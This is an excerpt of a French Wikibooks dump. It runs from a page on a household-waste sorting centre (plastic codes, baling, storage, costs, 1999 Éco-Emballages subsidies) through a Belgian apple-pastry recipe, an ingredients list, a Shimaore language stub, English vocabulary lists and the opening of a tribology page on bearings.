07.04 \\ \cline{2-7} & opaque & mat & % cul bouteilles plastiques rond avec trait de moulage \begin{picture}(10,15) \put(5,5){\circle{10}} \put(0,5){\rule{3.5mm}{.2mm}} \end{picture} & claire & PVC & 07.05 \\ \cline{3-7} & & brillant & % cul bouteilles plastiques rond avec plot rond au centre \begin{picture}(10,15) \put(5,5){\circle{10}} \put(5,5){\circle*{2}} \end{picture} & claire & PET & 07.06 \\ \hline Mousses & & & & claire & PS & 07.07 \\ \hline \end{tabular} \caption{\label{plastique}\textit{identification visuelle des déchets plastiques}} \end{center} \end{table}--> [[Image:Codes europeens plastiques.png|codes européens d'identification des bouteilles et flacons plastiques]] <!-- \begin{table}[htbp] \begin{center} \begin{tabular}{|ccl|} \hline \multicolumn{1}{|c|}{\textbf{Symbole}} & \multicolumn{1}{|c|}{\textbf{Sigle}} & \multicolumn{1}{|c|}{\textbf{Résine}} \\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){1} \end{pspicture} & PET & polyéthylène\\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){2} \end{pspicture} & PEHD & polyéthylène haute densité\\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){3} \end{pspicture} & PVC & polychlorure de vynile\\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){4} \end{pspicture} & PEBD & polyéthylène basse densité \\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){5} \end{pspicture} & PP & polypropylène \\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){6} \end{pspicture} & PS & polystyrène \\ \hline % symbole recyclage 3 flèches avec chiffre à l'intérieur \begin{pspicture}(1,1) \psline[linewidth=.05, linearc=0.1]{c->}% (.4,0)(0,0)(.2,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.2,.4)(.4,.8)(.6,.4) \psline[linewidth=.05, linearc=0.1]{c->}% (.6,.4)(.8,0)(.4,0) \rput[br](.5,.2){7} \end{pspicture} & Divers & y compris les PEHD multicolores\\ \hline \end{tabular} \caption{\label{codes}\textit{codes européens d'identification des bouteilles et flacons plastiques}} \end{center} \end{table} --> ===Conditionnement et stockage=== En raison de leur faible densité, les emballages métalliques, en plastique et en papier, y compris les briques alimentaires, sont le plus souvent conditionnés en balles ou en paquets. Compactés et ligaturés, ils occupent moins de place et le coût nécessaire à leur stockage et à leur transport est moindre. En outre, il est plus facile de manipuler des balles ou des paquets que des bennes de produits en vrac. Enfin, ainsi conditionnés, les emballages triés par nature de matériaux ne pourront pas se mélanger. Sur le site le conditionnement se répartit de la sorte&nbsp;: *L'acier compacté en paquets (appelés « sucres ») juste à la sortie de l'overband *Les PET compactés en balles *Les PEHD compactés en balles *Les PVC compactés en balles *Les films plastiques compactés en balles *Les cartons compactés en balles *Les journaux/magazines sont entreposés en vrac en bennes *Le verre est entreposé en vrac au sol *Les refus sont entreposés en vrac en bennes ====Presses à balles et à paquets==== La presse à balles est utilisée pour le conditionnement des matériaux triés. Elle est située en fin de chaîne de tri. Une seule presse est utilisée sur le site, elle est polyvalente pour conditionner différents matériaux. Il s'agit d'une presse horizontale avec un chargement par le dessus. L'alimentation se fait par des trémies : une trémie large pour les cartons et une trémie plus étroite pour les plastiques et briques. Les produits arrivent dans la chambre où ils sont comprimés. La balle est ensuite ligaturée et éjectée. La presse à paquets se situe en fin des tapis de tri, juste après l'Overband. Le tri mécanique par électro-aimant rejette les métaux ferreux dans une goulotte. Un agent de tri vérifie la qualité du produit obtenu et le cas échéant en retire les impuretés (plastiques ou papiers coincés dans l'emballage métallique). Lorsque la goulotte est suffisamment remplie, l'agent de tri lance une compression. ====Le stockage aval==== Il s'agit de stocker les objets triés en attendant leur acheminement chez les repreneurs. La surface et mode de stockage doivent répondre à plusieurs exigences : *à minima, le lieu de stockage doit permettre de stocker l'équivalent de deux chargements de véhicules par matériau *il doit mettre les DRM conformes aux PTM à l'abri de tout risque de dégradation (intempéries, pollution) *En vrac, les produits occupent plus de place qu'en balles ou en paquets où le matériau est compacté. De plus, les balles peuvent être entassées, et ce, sur plus de hauteur, offrant un rangement plus facile et de plus grand volume. *Sur le site, les lieux de stockage disposent d'une autonomie de stockage permettant de faire face aux aléas d'enlèvement des déchets. Ils sont bétonnés afin d'éviter la pollution des matériau par des éléments indésirables (cailloux...) Le stockage se fait en deux endroits distincts : #Dans l'enceinte même du centre de tri, à l'abri, pour les cartons en balles, les briques en balles et les papiers en vrac. Les sucres d'acier sont également stockés à l'intérieur eu égard à leur petite quantité. Les refus sont aussi stockés à l'abri de la pluie afin de pouvoir être incinérés par la suite #A l'extérieur, cela concerne les matériaux pas ou très peu sensibles aux aléas climatiques : le verre stocké en vrac au sol, les balles de plastiques stockées par catégories (PET, PEHD, films plastiques). Les bouteilles en PVC, pourtant sensibles aux Ultra-violets sont stockées en extérieur car leur stockage est de courte durée ===Les Prescriptions Techniques Minimales=== Les PTM (Prescriptions Techniques Minimales) sont les conditions minimales de reprises d'un matériau. Elles sont fixées par le recycleur. Ainsi, le recycleur achetant le papier est particulièrement exigeant (voir Fig. Prescriptions Techniques Minimales (PTM)). Dans d'autres régions on pourra trouver des PTM moins exigeantes pour le papier. [[Image:Prescription technique minimale.png|Prescriptions Techniques Minimales (PTM)]] <!-- \begin{table}[htbp] \begin{center} \begin{tabular}{|p{4cm}|p{6cm}|p{6cm}|} \hline \multicolumn{1}{|c|}{\textbf{Matériau}} & \multicolumn{2}{|c|}{\textbf{Mode de conditionnement}} \\ \multicolumn{1}{|c|}{} & \multicolumn{1}{|c|}{\textbf{Souhaité}} & \multicolumn{1}{|c|}{\textbf{Accepté}}\\ \hline Acier & Paquets (densité 1,2 à 2) & Balles (densité>0,3 maxi 300 kg) \\ \hline Aluminium & Balles & Vrac aplati \\ \hline Cartons & Balles « marchandes compressées » moyennes (400 à 600 kg, densité 0,4) & 3\% de contaminants et 10\% d'humidité \\ \hline Journaux, magazines & En vrac & 3\% de contaminants et 10\% d'humidité \\ \hline Emballages de liquides alimentaires (briques) & Balles « marchandes compressées » moyennes (400 à 600 kg, densité 0,4) & 3\% de contaminants et 10\% d'humidité \\ \hline PVC & Balles (comprises entre 0,7 x 0,7 x 1 m et 1,1 x 1,1 x 1,2 m densité entre 180 et 300 kg/m 3) & Balles de 1,2 m x 1,2 m x 1,3 m \\ \hline PET & Balles (comprises entre 0,7 x 0,7 x 1 m et 1,1 x 1,1 x 1,2 m densité entre 180 et 300 kg/m 3) & Balles de 1,2 m x 1,2 m x 1,3 m \\ \hline PEHD & Balles (comprises entre 0,7 x 0,7 x 1 m et 1,1 x 1,1 x 1,2 m densité entre 180 et 300 kg/m 3) & Balles de 1,2 m x 1,2 m x 1,3 m \\ \hline Verre & En vrac & \\ \hline \end{tabular} \caption{\label{PTM}\textit{Prescriptions Techniques Minimales (PTM)}} \end{center} \end{table}--> ===Qualité du tri sélectif=== Le tri sélectif est également qualifié affinage des déchets ménagers recyclables. Le centre de tri effectue bien cette tâche d'amélioration de la qualité des produits d'emballages triés par les particuliers. Une fois triés, on note la répartition des différentes catégories d'emballages. Les résultats obtenus sont représentés sur la Fig. Composition des Collectes sélectives. [[Image:Collecte multimateriaux.png|thumb|Composition des Collectes sélectives]] On note la présence de 21 % de contaminants se répartissants entre erreurs de tri (Fig. Composition des 16 % d'erreurs de tri) et souillures (Fig. Composition des 5 % de souillures). [[Image:Erreurs de tri.png|thumb|Composition des 16 % d'erreurs de tri]] [[Image:Souillures.png|thumb|Composition des 5 % de souillures]] Nature et composition des 21 % de contaminants. Les 21 % de contaminants se répartissent en deux sous catégories&nbsp;: 16 % d'erreur de tri et 5 % de souillures. Les erreurs de tri sont des déchets compris comme étant recyclables par les habitants mais qui ne le sont pas pour le centre de tri&nbsp;: *polystyrène de pots de yaourt, emballages de patisseries... *papiers peints, mouchoirs en papier, essuie-tout... *poêle, casserole... * Les souillures sont des produits qui polluent la benne et risquent d'empêcher le recyclage de son contenu&nbsp;: *huiles de vidange, peintures... *ordures ménagères, pelures de légumes... *couches culottes... * ==Capacités de production du centre de tri== ===Productivité et productions=== Sur le site, les équipes de tri ont les productivités suivantes&nbsp;: [[Image:Capacites traitements.png|Capacités de traitement par heure et par équipe de tri]] <!--\begin{table}[htbp] \begin{center} \begin{tabular}{|l|l|} \hline {\bf Chaîne de tri} & {\bf Productivité par heure et par équipe de tri} \\ \hline gyrotri & 600 kg de papiers \\ \hline Chaîne linéaire & 1,8 tonnes de multimatériaux \\ \hline \end{tabular} \caption{Capacités de traitement par heure et par équipe de tri} \label{productivite} \end{center} \end{table} --> Les matériaux produits pour les différentes filières se répartissent de la sorte&nbsp;: [[Image:Production par materiaux.png|Productions des différents matériaux recyclables]] <!-- \begin{table}[htbp] \begin{center} \begin{tabular}{|l|r!{=}l|} \hline \multicolumn{1}{|c|}{\bf Matériaux} & \multicolumn{2}{c|}{\bf Production} \\ \hline Papier par jour & Environ 3 bennes & 30 tonnes \\ Verre par jour & 1 semi-remorque & 30 tonnes \\ PET par mois & Environ 330 balles & 55 tonnes\\ PVC par mois & Environ 20 balles & 3 tonnes \\ PEHD par mois & Environ 50 balles & 9 tonnes \\ Films plastiques par mois & Environ 16 balles & 5 tonnes \\ Cartons par mois & Environ 200 balles & 60 tonnes \\ Briques alimentaires par mois & Environ 20 balles &6 tonnes \\ Métaux par mois & Environ 3 bennes & 10 tonnes \\ \hline \end{tabular} \caption{Productions des différents matériaux recyclables} \label{productions} \end{center} \end{table} --> ===Coûts de traitement=== [[Image:Cout a la tonne triee.png|Coût de traitement (en FF) à la tonne triée par matériaux (P&nbsp;à&nbsp;P&nbsp;= Porte à Porte et A&nbsp;V&nbsp;= Apport Volontaire)]] <!-- \begin{table}[htbp] \begin{center} \begin{tabular}{|l|c|c|c|c|c|c|c|} \cline{2-8} \multicolumn{1}{c|}{} & \multicolumn{4}{c|}{\bf CHAÎNE PRINCIPALE} & \multicolumn{2}{c|}{\bf VERRE} & \multicolumn{1}{c|}{\bf GYROTRI} \\ \cline{2-8} \multicolumn{1}{c|}{} & \multicolumn{2}{c|}{\bf P~à~P} & \multicolumn{2}{c|}{\bf A~V} & \multicolumn{1}{|c|}{\bf P~à~P} & \multicolumn{1}{c|}{\bf A~V} & \multicolumn{1}{c|}{\bf A~V} \\ \hline \multicolumn{1}{|c|}{\bf 3 équipes} & multimat & papiers & multimat & plastique & & & Papier \\ \hline {\bf Tonnages} & 7~895 & 411 & 252 & 168 & 2~832 & 6~010 & 2~165 \\ \hline {\bf Taux de refus} & 35\% & 0\% & 10\% & 8\% & 5\% & 3\% & 5\% \\ \hline {\bf Coût à la tonne} & {\bf 1~091} & {\bf 2~333} & {\bf 1~001} & {\bf 995} & {\bf 426} & {\bf 421} & {\bf 898} \\ \hline \end{tabular} \caption{Coût de traitement (en FF) à la tonne triée par matériaux (P~à~P~= Porte à Porte et A~V~= Apport Volontaire)} \label{couttraitement} \end{center} \end{table} --> ===Principe du soutien à la tonne triée=== En 1999, les recettes globales tout matériaux s'élevait à 4 millions de francs dont 1 million de francs correspondait au soutien financier d'&Eacute;co-Emballages. &Eacute;co-Emballage soutien financièrement le tri sélectif. Le principe de ce soutien est simple&nbsp;: plus il y aura de déchets triés (exprimés en kg/habitant/an) plus la somme reversée (en FF/tonne) sera importante. Ce soutien permet de récompenser les performances des centres de tri. Ce soutien explique également tout l'intérêt qu'ont les municipalités à placer des bornes d'apport volontaire sur leurs communes, bornes pouvant drainer les déchets des autres municipalités étrangères au bassin de collecte. Ainsi les performances du District on été les suivantes en 1999&nbsp;: *'''Papier/cartons&nbsp;: 2&nbsp;kg/hab/an'''' pour un soutien à la tonne triée de '''750&nbsp;FF''' (à titre d'information pour 12&nbsp;kg/hab/an le soutien à la tonne serait de 1~950~FF) *'''Plastiques&nbsp;: 1,3&nbsp;kg/hab/an''' pour un soutien à la tonne triée de '''1&nbsp;500&nbsp;FF''' (à titre d'information pour 4,3&nbsp;kg/hab/an le soutien à la tonne serait de 6&nbsp;050&nbsp;FF) *'''Verre en A~V~: 14&nbsp;kg/hab/an''' pour un soutien à la tonne triée de '''20&nbsp;FF''' (à titre d'information pour 35&nbsp;kg/hab/an le soutien à la tonne serait de 30~FF) *'''Verre en P&nbsp;à&nbsp;P&nbsp;: 27&nbsp;kg/hab/an''' pour un soutien à la tonne triée de '''53&nbsp;FF''' (à titre d'information pour 35&nbsp;kg/hab/an le soutien à la tonne serait de 75&nbsp;FF) *'''Acier&nbsp;: 1,3&nbsp;kg/hab/an''' pour un soutien à la tonne triée de '''300&nbsp;FF''' (à titre d'information pour 2,5&nbsp;kg/hab/an le soutien à la tonne serait de 500&nbsp;FF) *'''Aluminium&nbsp;: non trié''' pour les raisons évoquées avant (problème technique) mais un potentiel recyclable évalué à '''0,05&nbsp;kg/hab/an''' pour un soutien à la tonne triée qui pourrait atteindre '''1&nbsp;500&nbsp;FF''' (à titre d'information pour 0,2&nbsp;kg/hab/an le soutien à la tonne serait de 2&nbsp;220&nbsp;FF) On relève que le dispositif de soutien à la tonne triée mis en place par &Eacute;co-Emballages tend à favoriser les collectes en porte à porte de verre ainsi que le tri d'aluminium (matériaux qui possède le plus fort soutien à la tonne triée pour une performance relativement faible, mais il faut considérer que les emballage en aluminium ne sont pas autant représentés que les autres types d'emballages). Les prix de reprises par les différentes filière sont fixés par &Eacute;co-Emballage afin de garantir la pérénité de l'activité de tri sélectif des déchets ménagers recyclables. Les prix de reprises sont soumis aux éventuelles fluctuations du marché mais ne peuvent pas chuter en dessous d'un minimum. Par exemple&nbsp;: *'''Acier&nbsp;: 200&nbsp;F ou 50&nbsp;F la tonne' suivant le conditionnement (vrac ou paquets) *'''Aluminium&nbsp;: 1&nbsp;100&nbsp;FF à 2&nbsp;000&nbsp;FF la tonne''' suivant la qualité + intéressement selon l'évolution des cours *'''Journaux/magazines&nbsp;: entre 280 et 560&nbsp;FF la tonne''' selon la fluctuation du cours des vieux papiers. Le prix de reprise des journaux/magazines est particulièrement intéressant pour ce centre de tri. Le centre de tri de l'Agglomération s'est spécialisé dans un papier de bonne qualité répondant à des exigences élevées de la filière recyclage papiers régionale. Cette caractéristique explique le maintien du gyrotri pour le tri mono-matériaux des papiers. Si on visite d'autre centres de tri on peut noter que le soin apporté au tri sélectif des papiers n'est en général pas aussi poussé et le papier à recycler est présent en fin de chaîne de tri (tri négatif du papier duquel on va retirer les déchets recyclables plastiques et métalliques mais aussi les refus de tri) ce qui sous-entend une forte proportion de contaminants de toutes sortes (plastiques essentiellement). ==Ailleurs== *[http://commons.wikimedia.org/wiki/Category:Plastic les logos des plastiques] ; Cuisine:Recettes de cuisine belge 3196 41575 2006-05-04T13:17:00Z 83.196.101.137 /* Ingrédients */ ==Gozettes aux pommes== ====Ingrédients==== *400 g de pâte levée (recette de base) *farine pour le plan de travail *beurre pour la plaque Pour la farce : *500 g de pommes *100 g de raisins secs *100 g de cassonade *1 cuiller à café de cannelle en poudre *1 cuiller à soupe de farine de blé *1 œuf *1 cuiller à soupe de lait *1/2 cuiller à café de sucre semoule *sucre glace ====Matériel==== *un bol *une serviette propre *un rouleau à tarte *une assiette à dessert *un couteau *une fourchette *un pinceau *une grille à pâtisserie ====Préparation==== #20 minutes avant de préparer les gozettes, faites gonfler les raisins secs dans un bol d'eau tiède puis égouttez-les soigneusement. #Préchauffez le four th. 6-7 (200° C). #Pelez puis détaillez les pommes en quartiers. Eliminez le cœur et les pépins et découpez la chair en tranches fines. #Dans un grand bol, versez les tranches de pomme, les raisins, la cassonade, la cannelle et la farine. Mélanger bien le tout, recouvrez d'une serviette propre et réservez. #Sur un plan de travail fariné, étalez la pâte sur 1/2 cm d'épaisseur. Découpez-y des cercles à l'aide d'une assiette à dessert retournée. #Délayer le sucre dans un fond d'eau tiède. Battez l'œuf avec le lait. #Déposez un peu de mélange à base de pommes sur la moitié de la rondelle de pâte. À l'aide d'un pinceau, étalez un peu d'eau légèrement sucrée sur un des bords. Recouvrez avec l'autre moitié de pâte et appuyer de manière à bien souder les deux bords. Badigeonnez le dessus des gozettes d'œuf battu et faites cuire 30 min à four chaud. Remarque: Saupoudrez de sucre impalpable dès la sortie du four, laissez refroidir sur une grille et dégustez froid. Les gozettes aux pommes sont des espèces de chaussons, c'est une spécialité namuroise (de la ville de Namur). {{Recettes par pays}} Image:Fraises.jpg 3197 14728 2005-04-12T16:35:40Z Antoinel 182 Fraise {{GFDL}} Fraise {{GFDL}} Cuisine:Ingrédients 3198 29841 2006-01-22T14:10:29Z 81.48.191.237 /* Courgette */ [[en:Cookbook:Ingredients]] {{Modèle:EnTravaux}} Cette page a pour but de répertorier tous les ingrédients pouvant être utilisés en cuisine. == Condiments == ==== Basilic ==== ==== Fenouil ==== ==== Origan ==== ==== Persil ==== [[Image:Parsley Curled.jpg|100px]] ==== Thym ==== [[Image:Thyme.jpg|100px]] ==Épices== ===Canelle=== ===Cardamome=== [[Image:Cardomom pods.jpg|100px]] === Coriandre === [[Image:Coriander.png|100px]] ===Curry=== ===Poivre=== ===Safran=== == Fruits == ==== Abricot ==== [[Image:Apricot fruit.jpg|100px]] ==== Ananas ==== [[Image:Ananas aufgeschnitten.jpg|100px]] ==== Banane ==== [[Image:Banana.arp.750pix.jpg|100px]] Recettes : * Banana split * Salade de fruit ==== Citron ==== [[Image:Lemon.jpg|100px]] ==== Figue ==== [[Image:Feige-Schnitt.jpg|100px]] ==== Fraise ==== [[Image:FraiseFruitPhoto.jpg|100px]] Recettes : * Fraisier * Charlotte aux fraises * Salade de fruits ==== Framboise ==== [[Image:CDC raspberry.jpg|100px]] Recettes : * Charlotte aux framboise * Salade de fruits ==== Groseille ==== ==== Kiwi ==== [[Image:Kiwi aka.jpg|100px]] Recettes : * salade de fruits ==== Lychee ==== [[Image:Lychee 600.jpg|100px]] ==== Mandarine ==== [[Image:Mandarinen.jpg|100px]] ==== Mangue ==== [[Image:Mango 24.jpg|100px]] ==== Melon ==== ==== Mûre ==== ==== Orange ==== [[Image:Orange-fruit-2.jpg|100px]] ==== Papaye ==== [[Image:Papaya.jpg|100px]] ==== Pêche ==== ==== Poire ==== [[Image:PearPhoto.jpg|100px]] ==== Pomme ==== ==== Raisin ==== == Légumes == ==== Aïl ==== [[Image:Garlic.jpg|100px]] ==== Carotte ==== [[Image:Carotte.JPG|100px]] ==== Courgette ==== [[Image:Courgette.jpg|100px]] ==== Navet ==== ==== Oignon ==== [[Image:Oignon.JPG|100px]] ==== Poireau ==== ==== Poivron ==== ==== Tomate ==== [[Image:Tomatoes plain and sliced.jpg|thumbnail]] == Produits laitiers == ==== Beurre ==== ==== Crême fraîche ==== ==== Fromage ==== * La fêta : elle est utilisée dans de nombreuses recettes de cuisine grecque et crétoise. [[Image:Feta Greece 2.jpg|100px]] * La mozarella : on l'utilise pour couvrir les pizzas. On peut aussi l'utiliser fraîche avec des légumes.[[Image:Mozzarella.JPG|100px]] * Le parmesan : on l'utilise pour accompagner des pâtes ou pour couvrir des pâtes. [[Image:Parmigiano reggiano piece.jpg|100px]] ==== Lait ==== [[Image:Milk glass.jpg|100px]] {{Cuisine}} Image:Poubelle.jpg 3200 14731 2005-04-12T17:22:23Z Bionet 111 les différents déchets dans nos poubelles les différents déchets dans nos poubelles Parler le shimaore 3201 14732 2005-05-25T06:46:13Z Marc 66 restitution de la dernière modification de Bionet Ce guide est amené à s'étoffer progressivement, suivant ainsi les progressions des futurs résidents sur Mayotte et les informations de wikistes ayant déjà pratiqué la langue. Le but premier de ce wikilivre est de pouvoir se débrouiller avec les mahorais ne parlant que le shimaore (parents d'élèves...). ==Les premiers mots en shimaore== Liste de mots avec traductions et images/photos si dispos (à placer sur commons) ==Les premières phrases en shimaore== Pour se débrouiller sur place ==Bibliographie== * Blanchy, Sophie (1987). ''L'interprète. Dictionnaire Mahorais - Français et Français - Mahorais''. CMAC, Mayotte. L'Harmattan, Paris. * Cornice, Abdillahi D. (1999). ''Manuel grammatical de shimaore''. Mamoudzou, Mayotte: L’Association SHIME - Le SHImaorais MEthodique. * Kordji, Chamsidine, Martine Jaquin, et alia (1999). ''Narifundrihe shimaore - Apprenons le shimaore''. Association SHIME, Mamoudzou. * Maandhui, Ousseni (1996). ''Parlons Shimaore''. Editions du Baobab, Mamoudzou. * Rombi, Marie-Françoise (1983). ''Le Shimaore (Île de Mayotte, Comores): Première approche d’un parler de la langue comorienne''. Paris: Société d’Etudes Linguistiques et Anthropologiques de France (SELAF). ==Liens extérieurs== *http://ylangue.free.fr ; *http://www.mayotte-cuisine.org/jeux.htm plein de jeux en français/shimaore ; *http://www.shimaore.net/Shimaore/ une page de présentation du shimaore en anglais ; *http://www.mayotte-online.com/accueil.php?rubrique=tourisme&page=shimaore quelques pages pour apprendre le shimaore sur le site de Mayotte-online ; *[http://shime.online.fr ASSOCIATION SHIME] ; *[[w:Shimaore|Shimaore]] la page de wikipedia sur le shimaore ; Anglais : Trades, les métiers 3203 44906 2006-06-17T22:10:04Z 217.136.119.169 a baker : ''un boulanger''<br />a butcher : ''un boucher''<br />a fishmonger : ''un marchand de poisson''<br />a cook : ''un cuisinier''<br />a shopkeeper : ''un commerçant''<br />a grocer : ''un épicier''<br />a hairdresser : ''un coiffeur''<br />a bricklayer : ''un maçon''<br />a plumber : ''un plombier''<br />an electrician : ''un électricien'' a farmer : ''un fermier''<br />a farm worker : ''un ouvrier agricole''<br />a fisherman : ''un pêcheur'' a photographer : ''un photographe''<br />a cameraman : ''un cameraman''<br />a journalist<br />a painter : ''un peintre''<br />a writer : ''un écrivain''<br />a musician : ''un musicien'' politician : ''un homme politique''<br />a barrister : ''un avocat''<br />a lawyer : ''un homme de loi''<br />a policeman ou a police-officer : ''un agent de police''<br />a fireman : ''un pompier''<br />a surgeon : ''un chirurgien''<br />a nurse : ''une infirmière''<br />a banker : ''un banquier''<br /> an accountant : ''un comptable''<br/>a teacher : ''un instituteur, un professeur''<br />a postman : ''un postier'' an architect : ''un architecte''<br />an engineer : ''un ingénieur''<br />a chimical engineer : ''un ingénieur chimiste'' a skilled worker : ''un ouvrier qualifié''<br />an unskilled worker : ''un ouvrier non qualifié'' <br /> Retour [[Enseignement de l'anglais]] Anglais : Tourism, le tourisme 3204 14735 2005-05-14T14:55:34Z Antoinel 182 /* the beach : ''la plage'' */ ==== Travelling : ''les voyages'' ==== to travel : ''voyager''<br />a trip ou a journey : ''un voyage''<br />a voyage : ''un voyage (sur un bateau)''<br />a traveller : ''un voyageur''<br />a tourist : ''un touriste''<br />a travel agency : ''une agence de voyage'' ==== the station : ''la gare'' ==== a train : ''un train''<br />a passanger train : ''un train de passagers''<br />the railway : ''le chemin de fer''<br />an airport : ''un aéroport''<br />an aircraft, an airplane : ''un avion''<br />a bus : ''un bus''<br /> a taxi : ''un taxi''<br />the subway, the underground : ''le métro''<br />a ticket : ''un billet (d'avion, de bateau), un ticket (de bus, de métro)'' ==== a hotel : ''un hôtel'' ==== ==== Luggage : ''les bagages'' ==== a suit-case : ''une valise''<br />a travelling-bag : ''un sac de voyage''<br /> ==== the beach : ''la plage'' ==== the sea : ''la mer''<br />the sand : ''le sable'' ---- Retour au [[Enseignement de l'anglais|sommaire]] ---- Anglais : Countries, les pays 3206 30565 2006-01-27T20:44:02Z 195.220.66.3 +Algérie ==== Africa : ''l'Afrique'' ==== African : ''africain''<br />an African : ''un Africain''<br />the Africans : ''les Africains''<br />Algeria : ''l'Algérie''<br />Morocco : ''le Maroc''<br />Lebanon : ''le Liban''<br /> ==== Asia : ''l'Asie'' ==== Asian : ''asiatique (adj)''<br />a Asian : ''un Asiatique''<br />the Asians : ''les Asiatiques''<br />India : ''l'Inde''<br />Indian : ''indien (adj)''<br />an Indian : ''un Indien''<br />the Indians : ''les Indiens''<br />China : ''la Chine''<br />Chinese : ''chinois (adj)''<br />a Chinese : ''un Chinois''<br />the Chinese : ''les Chinois''<br />Japan : ''le Japon''<br />Japanese : ''japonnais''<br />a Japanese : ''un Japonnais''<br />the Japanese : ''les Japonnais''<br />Thailand : ''la Thaïlande''<br />Thai : ''thaïlandais''<br />a Thai : ''un Thaïlandais''<br />Cambodia : ''le Cambodge''<br />Cambodian : ''cambodgien''<br />a Cambodian : ''un Cambodgien'' ==== America : ''l'Amérique''==== American : ''américain''<br />an American : ''un Américain''<br />the Americans : ''les Américains''<br />Mexico : ''le Mexique''<br />Mexican : ''mexicain''<br />a Mexican : ''un Mexicain''<br />the Mexicans : ''les Mexicains'' ==== Europe : ''l'Europe'' ==== European : ''européen''<br />an European : ''un Européen''<br />the Europeans : ''les Européens''<br />Germany : ''l'Allemagne''<br />Portugal : ''le Portugal''<br />Portuguese : ''portugais''<br />a Portuguese : ''un Portugais''<br />the Portuguese : ''les Portugais''<br />Spain : ''l'Espagne''<br />Spanish : ''espagnol''<br />a Spaniard : ''un Espagnol''<br />Greece : ''la Grèce''<br />Greek : ''grec''<br />a Greek : ''un Grec''<br />Italy : ''l'Italie''<br />Italian : ''italien''<br />an Italian : ''un Italien''<br />the Italians : ''les Italiens''<br />France : ''la France''<br />French : ''français''<br />England : ''l'Angleterre''<br />English : ''anglais''<br />an Englishman : ''un Anglais''<br />the English : ''les Anglais''<br />Ireland : ''l'Irlande''<br />Irish : ''irlandais''<br />an Irish : ''un Irlandais''<br />the Irish : ''les Irlandais''<br />Wales : ''le Pays de Galles''<br />Welsh : ''gallois'' <br />Retour [[Enseignement de l'anglais]] Tribologie - Endommagement des roulements 3207 26770 2005-12-14T00:51:52Z Jean-Jacques MILAN 114 plan et corrections diverses {{Modèle:tribologie}} [[ Image:Roulement dessin de Leonard de Vinci.jpg|thumb|Un schéma de roulement par Léonard de Vinci]] Entre les deux guerres mondiales, dans le lac Nemi, en Italie, deux épaves de vaisseaux datant du début de l'Empire romain ont été repêchées. On y a retrouvé plusieurs roulements à billes ou à rouleaux en bois et en métal. Leur utilisation n'a pas été expliquée à ce jour. Léonard de Vinci nous a laissé un certain nombre de dessins de roulements, nous en retrouverons quelques-uns dans le chapitre spécialisé. Richard Stribeck et John Goodman sont, avec Hertz, les pères des roulements modernes. Signalons que les premiers roulements que l'on puisse considérer comme de véritables composants industriels ont été montés sur des bicyclettes. Le nom d'un Français, Suriray, et la date de 1870, ont été retenus par certains chroniqueurs, mais ces éléments sont plus ou moins controversés. Bien des progrès ont évidemment été accomplis depuis l'époque héroïque, en particulier sur la qualité des matériaux utilisés. L'un des derniers en date concerne les '''roulements en céramique'''. Par rapport à l'acier, le module d'Young et la dureté sont beaucoup plus élevés, d'où une plus grande rigidité ainsi qu'une meilleure résistance aux températures élevées. En 1991, on admet que les ventes de roulements céramique vont décupler sur 5 ans. Sont concernées pour l'instant les industries aérospatiales, l'armement, la machine-outil, l'instrumentation. Ce sont les billes qui sont en céramique, mais parfois aussi les bagues. Le nitrure de silicium est la céramique des roulements par excellence : faible densité, grande dureté, résistance à l'usure, à la fatigue et aux températures élevées, grande stabilité chimique. Le phénomène de grippage est très retardé par rapport à l'acier et il est possible de fonctionner avec une lubrification médiocre ou temporairement nulle pour les roulements tout céramique. Cette solution est chère mais quelquefois irremplaçable ! L'un des problèmes posés par les roulements est la '''rigidité'''. Cette dernière est souvent obtenue par une précharge, dont il est toujours difficile de connaître ou d'imposer la valeur exacte. Le couple de frottement d'un roulement préchargé chute très rapidement pendant la période de rodage. On ne peut donc s'en servir pour contrôler la précharge que sur des roulements neufs. Attention aussi à l'utilisation de roulements surdimensionnés dans le but d'augmenter la rigidité : des dégâts peuvent en effet survenir lors d'un fonctionnement sous faibles charges. En effet, les billes ou les rouleaux ont alors tendance à glisser au lieu de rouler. Paradoxalement, des roulements surdimensionnés n'accroissent pas forcément la sécurité. Dans les conditions les plus courantes, un roulement bien calculé et bien utilisé a 90 % de chances d'être encore en service à l'expiration de la '''durée de vie''' prévue, et 10 % de chances d'avoir été mis hors d'usage par le processus d''''écaillage''' qui en 